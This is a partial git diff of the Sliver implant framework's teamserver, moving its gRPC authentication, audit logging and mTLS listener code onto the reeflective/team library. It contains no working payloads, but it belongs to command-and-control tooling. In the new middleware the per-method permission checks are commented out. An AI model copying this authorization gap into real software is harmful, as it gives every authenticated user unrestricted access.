+++ b/server/rpc/rpc-msf.go
@@ -36,9 +36,7 @@ import (
"github.com/bishopfox/sliver/server/msf"
)
-var (
- msfLog = log.NamedLogger("rpc", "msf")
-)
+var msfLog = log.NamedLogger("rpc", "msf")
// Msf - Helper function to execute MSF payloads on the remote system
func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Task, error) {
@@ -206,6 +204,11 @@ func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*c
return MSFStage, nil
}
+// GetMetasploitCompiler - Get information about any Metasploit installation server-side.
+func (rpc *Server) GetMetasploitCompiler(ctx context.Context, _ *commonpb.Empty) (*clientpb.MetasploitCompiler, error) {
+ return msf.GetMsfCache(), nil
+}
+
// Utility functions
func generateCallbackURI(httpC2ConfigName string) string {
httpC2Config, err := db.LoadHTTPC2ConfigByName(httpC2ConfigName)
diff --git a/server/rpc/rpc-operators.go b/server/rpc/rpc-operators.go
deleted file mode 100644
index 38ab232e89..0000000000
--- a/server/rpc/rpc-operators.go
+++ /dev/null
@@ -1,53 +0,0 @@
-package rpc
-
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "context"
-
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/server/core"
- "github.com/bishopfox/sliver/server/db"
-)
-
-// GetOperators - Get a list of operators
-func (s *Server) GetOperators(ctx context.Context, _ *commonpb.Empty) (*clientpb.Operators, error) {
- operators := &clientpb.Operators{Operators: []*clientpb.Operator{}}
- dbOperators, err := db.OperatorAll()
- if err != nil {
- return nil, ErrDatabaseFailure
- }
- for _, dbOperator := range dbOperators {
- operators.Operators = append(operators.Operators, &clientpb.Operator{
- Name: dbOperator.Name,
- Online: isOperatorOnline(dbOperator.Name),
- })
- }
- return operators, nil
-}
-
-func isOperatorOnline(commonName string) bool {
- for _, operator := range core.Clients.ActiveOperators() {
- if commonName == operator {
- return true
- }
- }
- return false
-}
diff --git a/server/rpc/rpc-teamclient.go b/server/rpc/rpc-teamclient.go
new file mode 100644
index 0000000000..9ac023e236
--- /dev/null
+++ b/server/rpc/rpc-teamclient.go
@@ -0,0 +1,73 @@
+package rpc
+
+/*
+ Sliver Implant Framework
+ Copyright (C) 2019 Bishop Fox
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "context"
+ "runtime"
+
+ "github.com/bishopfox/sliver/client/version"
+ "github.com/bishopfox/sliver/protobuf/clientpb"
+ "github.com/bishopfox/sliver/protobuf/commonpb"
+ "github.com/bishopfox/sliver/server/core"
+)
+
+// GetVersion - Get the server version
+func (rpc *Server) GetVersion(ctx context.Context, _ *commonpb.Empty) (*clientpb.Version, error) {
+ dirty := version.GitDirty != ""
+ semVer := version.SemanticVersion()
+ compiled, _ := version.Compiled()
+ return &clientpb.Version{
+ Major: int32(semVer[0]),
+ Minor: int32(semVer[1]),
+ Patch: int32(semVer[2]),
+ Commit: version.GitCommit,
+ Dirty: dirty,
+ CompiledAt: compiled.Unix(),
+ OS: runtime.GOOS,
+ Arch: runtime.GOARCH,
+ }, nil
+}
+
+// GetUsers returns the list of teamserver users and their status.
+func (ts *Server) GetUsers(context.Context, *commonpb.Empty) (*clientpb.Users, error) {
+ // Fetch users from the teamserver user database.
+ users, err := ts.team.Users()
+
+ userspb := make([]*clientpb.User, len(users))
+ for i, user := range users {
+ userspb[i] = &clientpb.User{
+ Name: user.Name,
+ Online: isOperatorOnline(user.Name),
+ LastSeen: user.LastSeen.Unix(),
+ Clients: int32(user.Clients),
+ }
+ }
+
+ return &clientpb.Users{Users: userspb}, err
+}
+
+func isOperatorOnline(commonName string) bool {
+ for _, operator := range core.Clients.ActiveOperators() {
+ if commonName == operator {
+ return true
+ }
+ }
+ return false
+}
diff --git a/server/rpc/rpc.go b/server/rpc/rpc.go
index 2f225cbf7e..6ad2b76bf2 100644
--- a/server/rpc/rpc.go
+++ b/server/rpc/rpc.go
@@ -21,27 +21,25 @@ package rpc
import (
"context"
"errors"
- "runtime"
- "strings"
"time"
- "github.com/bishopfox/sliver/client/version"
- "github.com/bishopfox/sliver/protobuf/clientpb"
+ "google.golang.org/grpc/credentials"
+ "google.golang.org/grpc/peer"
+ "google.golang.org/protobuf/proto"
+ "google.golang.org/protobuf/reflect/protoreflect"
+
+ "github.com/kballard/go-shellquote"
+
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/log"
- "google.golang.org/grpc/credentials"
- "google.golang.org/grpc/peer"
- "google.golang.org/protobuf/proto"
- "google.golang.org/protobuf/reflect/protoreflect"
+ "github.com/reeflective/team/server"
)
-var (
- rpcLog = log.NamedLogger("rpc", "server")
-)
+var rpcLog = log.NamedLogger("rpc", "server")
const (
minTimeout = time.Duration(30 * time.Second)
@@ -49,6 +47,10 @@ const (
// Server - gRPC server
type Server struct {
+ // Access all teamclient/teamserver base stuff.
+ // Users, credentials, server configs, loggers, etc.
+ team *server.Server
+
// Magical methods to break backwards compatibility
// Here be dragons: https://github.com/grpc/grpc-go/issues/3794
rpcpb.UnimplementedSliverRPCServer
@@ -75,26 +77,9 @@ type GenericResponse interface {
}
// NewServer - Create new server instance
-func NewServer() *Server {
+func NewServer(team *server.Server) *Server {
core.StartEventAutomation()
- return &Server{}
-}
-
-// GetVersion - Get the server version
-func (rpc *Server) GetVersion(ctx context.Context, _ *commonpb.Empty) (*clientpb.Version, error) {
- dirty := version.GitDirty != ""
- semVer := version.SemanticVersion()
- compiled, _ := version.Compiled()
- return &clientpb.Version{
- Major: int32(semVer[0]),
- Minor: int32(semVer[1]),
- Patch: int32(semVer[2]),
- Commit: version.GitCommit,
- Dirty: dirty,
- CompiledAt: compiled.Unix(),
- OS: runtime.GOOS,
- Arch: runtime.GOARCH,
- }, nil
+ return &Server{team: team}
}
// GenericHandler - Pass the request to the Sliver/Session
@@ -164,9 +149,13 @@ func (rpc *Server) asyncGenericHandler(req GenericRequest, resp GenericResponse)
rpcLog.Errorf("Database error: %s", err)
return ErrDatabaseFailure
}
- parts := strings.Split(string(req.ProtoReflect().Descriptor().FullName().Name()), ".")
- name := parts[len(parts)-1]
- task.Description = name
+ // Save the command-line being ran as description instead, and preserve quoting.
+ // Currently this is not optimal, as it uses a UNIX-style quoter. I've found
+ // other packages that handle all operating systems, such as https://github.com/apparentlymart/go-shquot.
+ task.Description = shellquote.Join(request.GetCmdLine()...)
+ // parts := strings.Split(string(req.ProtoReflect().Descriptor().FullName().Name()), ".")
+ // name := parts[len(parts)-1]
+
err = db.Session().Save(task).Error
if err != nil {
rpcLog.Errorf("Database error: %s", err)
diff --git a/server/transport/local.go b/server/transport/local.go
deleted file mode 100644
index fa210ddea8..0000000000
--- a/server/transport/local.go
+++ /dev/null
@@ -1,63 +0,0 @@
-package transport
-
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "runtime/debug"
-
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/server/log"
- "github.com/bishopfox/sliver/server/rpc"
- "google.golang.org/grpc"
- "google.golang.org/grpc/test/bufconn"
-)
-
-const bufSize = 2 * mb
-
-var (
- bufConnLog = log.NamedLogger("transport", "local")
-)
-
-// LocalListener - Bind gRPC server to an in-memory listener, which is
-// typically used for unit testing, but ... it should be fine
-func LocalListener() (*grpc.Server, *bufconn.Listener, error) {
- bufConnLog.Infof("Binding gRPC/bufconn to listener ...")
- ln := bufconn.Listen(bufSize)
- options := []grpc.ServerOption{
- grpc.MaxRecvMsgSize(ServerMaxMessageSize),
- grpc.MaxSendMsgSize(ServerMaxMessageSize),
- }
- options = append(options, initMiddleware(false)...)
- grpcServer := grpc.NewServer(options...)
- rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
- go func() {
- panicked := true
- defer func() {
- if panicked {
- bufConnLog.Errorf("stacktrace from panic: %s", string(debug.Stack()))
- }
- }()
- if err := grpcServer.Serve(ln); err != nil {
- bufConnLog.Fatalf("gRPC local listener error: %v", err)
- } else {
- panicked = false
- }
- }()
- return grpcServer, ln, nil
-}
diff --git a/server/transport/middleware.go b/server/transport/middleware.go
index a9c9964557..75f839a82b 100644
--- a/server/transport/middleware.go
+++ b/server/transport/middleware.go
@@ -1,36 +1,30 @@
package transport
/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
+ Sliver Implant Framework
+ Copyright (C) 2019 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
*/
import (
"context"
- "crypto/sha256"
- "encoding/hex"
"encoding/json"
- "sync"
+ "errors"
+
+ "github.com/reeflective/team/server"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/server/configs"
- "github.com/bishopfox/sliver/server/core"
- "github.com/bishopfox/sliver/server/db"
- "github.com/bishopfox/sliver/server/db/models"
- "github.com/bishopfox/sliver/server/log"
grpc_auth "github.com/grpc-ecosystem/go-grpc-middleware/auth"
grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus"
grpc_tags "github.com/grpc-ecosystem/go-grpc-middleware/tags"
@@ -40,106 +34,167 @@ import (
"google.golang.org/grpc/credentials"
"google.golang.org/grpc/peer"
"google.golang.org/grpc/status"
-)
-var (
- serverConfig = configs.GetServerConfig()
- middlewareLog = log.NamedLogger("transport", "middleware")
+ "github.com/bishopfox/sliver/protobuf/clientpb"
+ "github.com/bishopfox/sliver/server/core"
+ "github.com/bishopfox/sliver/server/db"
+ "github.com/bishopfox/sliver/server/db/models"
)
-type contextKey int
+// bufferingOptions returns a list of server options with max send/receive
+// message size, which value is that of the ServerMaxMessageSize variable (2GB).
+func bufferingOptions() (options []grpc.ServerOption) {
+ options = append(options,
+ grpc.MaxRecvMsgSize(ServerMaxMessageSize),
+ grpc.MaxSendMsgSize(ServerMaxMessageSize),
+ )
-const (
- Transport contextKey = iota
- Operator
-)
+ return
+}
+
+// logMiddlewareOptions is a set of logging middleware options
+// preconfigured to perform the following tasks:
+// - Log all connections/disconnections to/from the teamserver listener.
+// - Log all raw client requests into a teamserver audit file (see server.AuditLog()).
+func logMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) {
+ var requestOpts []grpc.UnaryServerInterceptor
+ var streamOpts []grpc.StreamServerInterceptor
+
+ cfg := s.GetConfig()
-// initMiddleware - Initialize middleware
-func initMiddleware(enableAuth bool) []grpc.ServerOption {
- logrusEntry := log.NamedLogger("transport", "grpc")
+ // Audit-log all requests. Any failure to audit-log the requests
+ // of this server will themselves be logged to the root teamserver log.
+ auditLog, err := s.AuditLogger()
+ if err != nil {
+ return nil, err
+ }
+
+ requestOpts = append(requestOpts, auditLogUnaryServerInterceptor(s, auditLog))
+
+ requestOpts = append(requestOpts,
+ grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)),
+ )
+
+ streamOpts = append(streamOpts,
+ grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)),
+ )
+
+ // Logging interceptors
+ logrusEntry := s.NamedLogger("transport", "grpc")
logrusOpts := []grpc_logrus.Option{
grpc_logrus.WithLevels(codeToLevel),
}
+
grpc_logrus.ReplaceGrpcLogger(logrusEntry)
- if enableAuth {
- return []grpc.ServerOption{
- grpc.ChainUnaryInterceptor(
- grpc_auth.UnaryServerInterceptor(tokenAuthFunc),
- permissionsUnaryServerInterceptor(),
- auditLogUnaryServerInterceptor(),
- grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)),
- grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...),
- grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, deciderUnary),
- ),
- grpc.ChainStreamInterceptor(
- grpc_auth.StreamServerInterceptor(tokenAuthFunc),
- permissionsStreamServerInterceptor(),
- grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)),
- grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...),
- grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, deciderStream),
- ),
- }
- } else {
- return []grpc.ServerOption{
- grpc.ChainUnaryInterceptor(
- grpc_auth.UnaryServerInterceptor(serverAuthFunc),
- auditLogUnaryServerInterceptor(),
- grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)),
- grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...),
- grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, deciderUnary),
- ),
- grpc.ChainStreamInterceptor(
- grpc_auth.StreamServerInterceptor(serverAuthFunc),
- grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)),
- grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...),
- grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, deciderStream),
- ),
- }
+
+ requestOpts = append(requestOpts,
+ grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...),
+ grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, func(ctx context.Context, fullMethodName string, servingObject interface{}) bool {
+ return cfg.Log.GRPCUnaryPayloads
+ }),
+ )
+
+ streamOpts = append(streamOpts,
+ grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...),
+ grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, func(ctx context.Context, fullMethodName string, servingObject interface{}) bool {
+ return cfg.Log.GRPCStreamPayloads
+ }),
+ )
+
+ return []grpc.ServerOption{
+ grpc.ChainUnaryInterceptor(requestOpts...),
+ grpc.ChainStreamInterceptor(streamOpts...),
+ }, nil
+}
+
+// tlsAuthMiddlewareOptions is a set of transport security options which will use
+// the preconfigured teamserver TLS (credentials) configuration to authenticate
+// incoming client connections. The authentication is Mutual TLS, used because
+// all teamclients will connect with a known TLS credentials set.
+func tlsAuthMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) {
+ var options []grpc.ServerOption
+
+ tlsConfig, err := s.UsersTLSConfig()
+ if err != nil {
+ return nil, err
}
+ creds := credentials.NewTLS(tlsConfig)
+ options = append(options, grpc.Creds(creds))
+
+ return options, nil
}
-var (
- tokenCache = sync.Map{}
-)
+// initAuthMiddleware - Initialize middleware logger.
+func (ts *teamserver) initAuthMiddleware() ([]grpc.ServerOption, error) {
+ var requestOpts []grpc.UnaryServerInterceptor
+ var streamOpts []grpc.StreamServerInterceptor
+
+ // Authentication interceptors.
+ if ts.conn == nil {
+ // All remote connections are users who need authentication.
+ requestOpts = append(requestOpts,
+ // ts.permissionsUnaryServerInterceptor(),
+ grpc_auth.UnaryServerInterceptor(ts.tokenAuthFunc),
+ )
+
+ streamOpts = append(streamOpts,
+ // ts.permissionsStreamServerInterceptor(),
+ grpc_auth.StreamServerInterceptor(ts.tokenAuthFunc),
+ )
+ } else {
+ // Local in-memory connections have no auth.
+ requestOpts = append(requestOpts,
+ grpc_auth.UnaryServerInterceptor(serverAuthFunc),
+ )
+ streamOpts = append(streamOpts,
+ grpc_auth.StreamServerInterceptor(serverAuthFunc),
+ )
+ }
-// ClearTokenCache - Clear the auth token cache
-func ClearTokenCache() {
- tokenCache = sync.Map{}
+ // Return middleware for all requests and stream interactions in gRPC.
+ return []grpc.ServerOption{
+ grpc.ChainUnaryInterceptor(requestOpts...),
+ grpc.ChainStreamInterceptor(streamOpts...),
+ }, nil
}
+type contextKey int
+
+const (
+ Transport contextKey = iota
+ Operator
+)
+
func serverAuthFunc(ctx context.Context) (context.Context, error) {
newCtx := context.WithValue(ctx, Transport, "local")
newCtx = context.WithValue(newCtx, Operator, "server")
+
return newCtx, nil
}
-func tokenAuthFunc(ctx context.Context) (context.Context, error) {
- mtlsLog.Debugf("Auth interceptor checking operator token ...")
+// tokenAuthFunc uses the core reeflective/team/server to authenticate user requests.
+func (ts *teamserver) tokenAuthFunc(ctx context.Context) (context.Context, error) {
+ log := ts.NamedLogger("transport", "grpc")
+ log.Debugf("Auth interceptor checking user token ...")
+
rawToken, err := grpc_auth.AuthFromMD(ctx, "Bearer")
if err != nil {
- mtlsLog.Errorf("Authentication failure: %s", err)
+ log.Errorf("Authentication failure: %s", err)
return nil, status.Error(codes.Unauthenticated, "Authentication failure")
}
- // Check auth cache
- digest := sha256.Sum256([]byte(rawToken))
- token := hex.EncodeToString(digest[:])
- newCtx := context.WithValue(ctx, Transport, "mtls")
- if op, ok := tokenCache.Load(token); ok {
- mtlsLog.Debugf("Token in cache!")
- newCtx = context.WithValue(newCtx, Operator, op.(*models.Operator))
- return newCtx, nil
- }
- operator, err := db.OperatorByToken(token)
- if err != nil || operator == nil {
- mtlsLog.Errorf("Authentication failure: %v", err)
+ // Let our core teamserver driver authenticate the user.
+ // The teamserver has its credentials, tokens and everything in database.
+ user, authorized, err := ts.UserAuthenticate(rawToken)
+ if err != nil || !authorized || user == "" {
+ log.Errorf("Authentication failure: %s", err)
return nil, status.Error(codes.Unauthenticated, "Authentication failure")
}
- mtlsLog.Debugf("Valid token for %s", operator.Name)
- tokenCache.Store(token, operator)
- newCtx = context.WithValue(newCtx, Operator, operator)
+ newCtx := context.WithValue(ctx, Transport, "mtls")
+ newCtx = context.WithValue(newCtx, Operator, user)
+
return newCtx, nil
}
@@ -173,8 +228,10 @@ var (
}
)
-func permissionsUnaryServerInterceptor() grpc.UnaryServerInterceptor {
+func (ts *teamserver) permissionsUnaryServerInterceptor() grpc.UnaryServerInterceptor {
return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) {
+ log := ts.NamedLogger("transport", "middleware")
+
operator := ctx.Value(Operator).(*models.Operator)
if operator == nil {
return nil, status.Error(codes.Unauthenticated, "Authentication failure")
@@ -192,13 +249,15 @@ func permissionsUnaryServerInterceptor() grpc.UnaryServerInterceptor {
return handler(ctx, req)
}
}
- mtlsLog.Warnf("Permission denied for %s attempting to access %s", operator.Name, info.FullMethod)
+ log.Warnf("Permission denied for %s attempting to access %s", operator.Name, info.FullMethod)
return nil, status.Error(codes.PermissionDenied, "Token has insufficient permissions")
}
}
-func permissionsStreamServerInterceptor() grpc.StreamServerInterceptor {
+func (ts *teamserver) permissionsStreamServerInterceptor() grpc.StreamServerInterceptor {
return func(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {
+ log := ts.NamedLogger("transport", "middleware")
+
operator := ss.Context().Value(Operator).(*models.Operator)
if operator == nil {
return status.Error(codes.Unauthenticated, "Authentication failure")
@@ -216,61 +275,11 @@ func permissionsStreamServerInterceptor() grpc.StreamServerInterceptor {
return handler(srv, ss)
}
}
- mtlsLog.Warnf("Permission denied for %s attempting to access %s", operator.Name, info.FullMethod)
+ log.Warnf("Permission denied for %s attempting to access %s", operator.Name, info.FullMethod)
return status.Error(codes.PermissionDenied, "Token has insufficient permissions")
}
}
-func deciderUnary(_ context.Context, _ string, _ interface{}) bool {
- return serverConfig.Logs.GRPCUnaryPayloads
-}
-
-func deciderStream(_ context.Context, _ string, _ interface{}) bool {
- return serverConfig.Logs.GRPCStreamPayloads
-}
-
-// Maps a grpc response code to a logging level
-func codeToLevel(code codes.Code) logrus.Level {
- switch code {
- case codes.OK:
- return logrus.InfoLevel
- case codes.Canceled:
- return logrus.InfoLevel
- case codes.Unknown:
- return logrus.ErrorLevel
- case codes.InvalidArgument:
- return logrus.InfoLevel
- case codes.DeadlineExceeded:
- return logrus.WarnLevel
- case codes.NotFound:
- return logrus.InfoLevel
- case codes.AlreadyExists:
- return logrus.InfoLevel
- case codes.PermissionDenied:
- return logrus.WarnLevel
- case codes.Unauthenticated:
- return logrus.InfoLevel
- case codes.ResourceExhausted:
- return logrus.WarnLevel
- case codes.FailedPrecondition:
- return logrus.WarnLevel
- case codes.Aborted:
- return logrus.WarnLevel
- case codes.OutOfRange:
- return logrus.WarnLevel
- case codes.Unimplemented:
- return logrus.ErrorLevel
- case codes.Internal:
- return logrus.ErrorLevel
- case codes.Unavailable:
- return logrus.WarnLevel
- case codes.DataLoss:
- return logrus.ErrorLevel
- default:
- return logrus.ErrorLevel
- }
-}
-
type auditUnaryLogMsg struct {
Request string `json:"request"`
Method string `json:"method"`
@@ -280,17 +289,20 @@ type auditUnaryLogMsg struct {
User string `json:"user"`
}
-func auditLogUnaryServerInterceptor() grpc.UnaryServerInterceptor {
+func auditLogUnaryServerInterceptor(ts *server.Server, auditLog *logrus.Logger) grpc.UnaryServerInterceptor {
+ log := ts.NamedLogger("grpc", "audit")
+
return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) {
rawRequest, err := json.Marshal(req)
if err != nil {
- middlewareLog.Errorf("Failed to serialize %s", err)
+ log.Errorf("Failed to serialize %s", err)
return
}
- middlewareLog.Debugf("Raw request: %s", string(rawRequest))
- session, beacon, err := getActiveTarget(rawRequest)
+
+ log.Debugf("Raw request: %s", string(rawRequest))
+ session, beacon, err := getActiveTarget(log, rawRequest)
if err != nil {
- middlewareLog.Errorf("Middleware failed to insert details: %s", err)
+ log.Errorf("Middleware failed to insert details: %s", err)
}
p, _ := peer.FromContext(ctx)
@@ -312,9 +324,10 @@ func auditLogUnaryServerInterceptor() grpc.UnaryServerInterceptor {
}
msgData, _ := json.Marshal(msg)
- log.AuditLogger.Info(string(msgData))
+ auditLog.Info(string(msgData))
resp, err := handler(ctx, req)
+
return resp, err
}
}
@@ -333,8 +346,7 @@ func getUser(client *peer.Peer) string {
return ""
}
-func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) {
-
+func getActiveTarget(middlewareLog *logrus.Entry, rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) {
var activeBeacon *clientpb.Beacon
var activeSession *clientpb.Session
@@ -349,7 +361,10 @@ func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, er
return nil, nil, nil
}
- rpcRequest := request["Request"].(map[string]interface{})
+ rpcRequest, ok := request["Request"].(map[string]interface{})
+ if !ok {
+ return nil, nil, errors.New("Failed to cast RPC request to map[string]interface{}")
+ }
middlewareLog.Debugf("RPC Request: %v", rpcRequest)
@@ -357,7 +372,6 @@ func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, er
beaconID := rawBeaconID.(string)
middlewareLog.Debugf("Found Beacon ID: %s", beaconID)
beacon, err := db.BeaconByID(beaconID)
- middlewareLog.Infof("query complete")
if err != nil {
middlewareLog.Errorf("Failed to get beacon %s: %s", beaconID, err)
} else if beacon != nil {
@@ -376,3 +390,45 @@ func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, er
return activeSession, activeBeacon, nil
}
+
+// Maps a grpc response code to a logging level
+func codeToLevel(code codes.Code) logrus.Level {
+ switch code {
+ case codes.OK:
+ return logrus.InfoLevel
+ case codes.Canceled:
+ return logrus.InfoLevel
+ case codes.Unknown:
+ return logrus.ErrorLevel
+ case codes.InvalidArgument:
+ return logrus.InfoLevel
+ case codes.DeadlineExceeded:
+ return logrus.WarnLevel
+ case codes.NotFound:
+ return logrus.InfoLevel
+ case codes.AlreadyExists:
+ return logrus.InfoLevel
+ case codes.PermissionDenied:
+ return logrus.WarnLevel
+ case codes.Unauthenticated:
+ return logrus.InfoLevel
+ case codes.ResourceExhausted:
+ return logrus.WarnLevel
+ case codes.FailedPrecondition:
+ return logrus.WarnLevel
+ case codes.Aborted:
+ return logrus.WarnLevel
+ case codes.OutOfRange:
+ return logrus.WarnLevel
+ case codes.Unimplemented:
+ return logrus.ErrorLevel
+ case codes.Internal:
+ return logrus.ErrorLevel
+ case codes.Unavailable:
+ return logrus.WarnLevel
+ case codes.DataLoss:
+ return logrus.ErrorLevel
+ default:
+ return logrus.ErrorLevel
+ }
+}
diff --git a/server/transport/mtls.go b/server/transport/mtls.go
index 95b236b2d2..83a4d9352f 100644
--- a/server/transport/mtls.go
+++ b/server/transport/mtls.go
@@ -1,120 +1,123 @@
package transport
/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
+ Sliver Implant Framework
+ Copyright (C) 2019 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
*/
import (
- "crypto/tls"
- "crypto/x509"
- "fmt"
"net"
- "runtime/debug"
-
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/server/certs"
- "github.com/bishopfox/sliver/server/log"
- "github.com/bishopfox/sliver/server/rpc"
+ "sync"
"google.golang.org/grpc"
- "google.golang.org/grpc/credentials"
+ "google.golang.org/grpc/test/bufconn"
+
+ "github.com/reeflective/team/server"
)
-const (
- kb = 1024
- mb = kb * 1024
- gb = mb * 1024
+// teamserver is a vanilla TCP+MTLS gRPC server offering all Sliver services through it.
+// This listener backend embeds a team/server.Server core driver and uses it for fetching
+// server-side TLS configurations, use its loggers and access its database/users/list.
+type teamserver struct {
+ *server.Server
- // ServerMaxMessageSize - Server-side max GRPC message size
- ServerMaxMessageSize = 2 * gb
-)
+ options []grpc.ServerOption
+ conn *bufconn.Listener
+ mutex *sync.RWMutex
+}
-var (
- mtlsLog = log.NamedLogger("transport", "mtls")
-)
+// newTeamserverTLS returns a vanilla tcp+mtls gRPC teamserver listener backend.
+// Developers: note that the teamserver type is already set with logging/
+// auth/middleware/buffering gRPC options. You can still override them.
+func newTeamserverTLS(opts ...grpc.ServerOption) *teamserver {
+ listener := &teamserver{
+ mutex: &sync.RWMutex{},
+ options: bufferingOptions(),
+ }
-// StartMtlsClientListener - Start a mutual TLS listener
-func StartMtlsClientListener(host string, port uint16) (*grpc.Server, net.Listener, error) {
- mtlsLog.Infof("Starting gRPC/mtls listener on %s:%d", host, port)
+ listener.options = append(listener.options, opts...)
- tlsConfig := getOperatorServerTLSConfig("multiplayer")
+ return listener
+}
- creds := credentials.NewTLS(tlsConfig)
- ln, err := net.Listen("tcp", fmt.Sprintf("%s:%d", host, port))
- if err != nil {
- mtlsLog.Error(err)
- return nil, nil, err
- }
- options := []grpc.ServerOption{
- grpc.Creds(creds),
- grpc.MaxRecvMsgSize(ServerMaxMessageSize),
- grpc.MaxSendMsgSize(ServerMaxMessageSize),
- }
- options = append(options, initMiddleware(true)...)
- grpcServer := grpc.NewServer(options...)
- rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
- go func() {
- panicked := true
- defer func() {
- if panicked {
- mtlsLog.Errorf("stacktrace from panic: %s", string(debug.Stack()))
- }
- }()
- if err := grpcServer.Serve(ln); err != nil {
- mtlsLog.Warnf("gRPC server exited with error: %v", err)
